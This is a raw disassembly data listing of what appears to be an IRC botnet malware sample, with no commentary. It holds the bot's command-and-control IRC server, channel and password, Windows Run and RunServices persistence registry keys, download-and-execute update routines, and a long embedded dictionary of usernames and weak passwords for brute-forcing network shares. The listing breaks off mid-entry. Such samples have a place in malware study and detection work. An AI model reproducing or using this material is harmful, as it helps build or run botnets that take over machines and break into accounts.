sub_407E0E+60o align 4 dword_422BA8 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_407EAE+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_422BE0 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_407EEE+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_422C10 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_407EEE+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h, 0 dword_422C38 dd 78h align 10h dword_422C40 dd 80000002h, 4230E0h, 80000002h, 423110h, 80000001h, 423148h ; DATA XREF: sub_40801D+7o unk_422C58 db 2 ; DATA XREF: sub_40801D+63o ; seg000:004085E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: seg000:0040B524o ; seg000:0040D109o ... align 10h db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 10h db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h unk_422ED0 db 2 ; DATA XREF: seg000:004081C9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4086FA:loc_40873Do ; sub_40EC42+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_4086FA:loc_408737o aDisk db 'Disk',0 ; DATA XREF: sub_4086FA:loc_408731o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4086FA:loc_40872Bo aCdrom db 'Cdrom',0 ; DATA XREF: sub_4086FA:loc_408725o align 4 aRam db 'RAM',0 ; DATA XREF: sub_4086FA:loc_40871Fo aFailed db 'failed',0 ; DATA XREF: sub_40878B:loc_408863o ; sub_4088A6+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40878B+6Bo align 4 dword_422F48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4088A6+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_422F98 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4088A6+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_408978:loc_4089BDo dword_422FEC dd 1A0Bh ; sub_4089FD+620r dword_422FF0 dd 1A0Bh dd 1AA6h dword_422FF8 dd 0CCEh ; seg000:0040D70Ar dword_422FFC dd 158Dh ; seg000:loc_40D7FCr dword_423000 dd 1 dword_423004 dd 1 dword_423008 dd 1 ; sub_4089FD+434o byte_42300C db 78h ; DATA XREF: seg000:loc_408650r ; seg000:00409A44r ... align 10h dword_423010 dd 9 ; sub_40F6E3+51r ... dword_423014 dd 1 ; seg000:0040960Cr ... aIds44433 db 'ids44433',0 ; DATA XREF: sub_4089FD+152o ; seg000:0040C72Ao ... align 4 aEnz9_9b3443 db 'enz 9.9b3443',0 align 4 aHi db 'hi',0 ; DATA XREF: seg000:0040E19Co ; seg000:0040E26Bo align 4 aDd_mybn_us db 'dd.mybn.us',0 ; DATA XREF: sub_4089FD+576o ; sub_4089FD+611o align 4 aDd db '#dd',0 ; DATA XREF: sub_4089FD+597o ; sub_4089FD+627o aDpass db 'dpass',0 ; DATA XREF: sub_4089FD+5AEo ; sub_4089FD+639o align 10h byte_423050 db 6Eh ; DATA XREF: sub_4089FD:loc_40904Cr ; sub_4089FD+65Do db 65h, 77h, 2Eh dd 646A616Eh, 73752Eh dword_42305C dd 646423h aDpass_0 db 'dpass',0 ; DATA XREF: sub_4089FD+685o align 4 byte_423068 db 52h ; DATA XREF: sub_402B8D+3Eo ; seg000:00405062o ... db 2 dup(6Fh), 54h dd 74666F73h, 6D6F632Eh, 0 dd 746F6F72h, 74666F73h, 6C6C642Eh, 0 dword_423088 dd 746F6F52h, 666F5320h, 74hdword_423094 dd 2D324653h, 0 dd 546F6F52h, 74666F73h, 6D6F632Eh, 0 dword_4230AC dd 692B782Bh, 0 dword_4230B4 dd 32667323h, 0 ; seg000:0040D554o ... dd 2 dup(737323h), 32323835h, 31h, 326673h, 2E326673h dd 0 off_4230D8 dd offset a@room ; DATA XREF: seg000:loc_40E1E6o ; "*@room" off_4230DC dd offset aMirc1_6_99 ; DATA XREF: seg000:00409BBDr ; seg000:0040E202o ; "mirc 1.6.99" db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40FC75+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40FC75+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" align 10h dd offset dword_42F3E8 dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_429AE0 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_41F1D0 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd 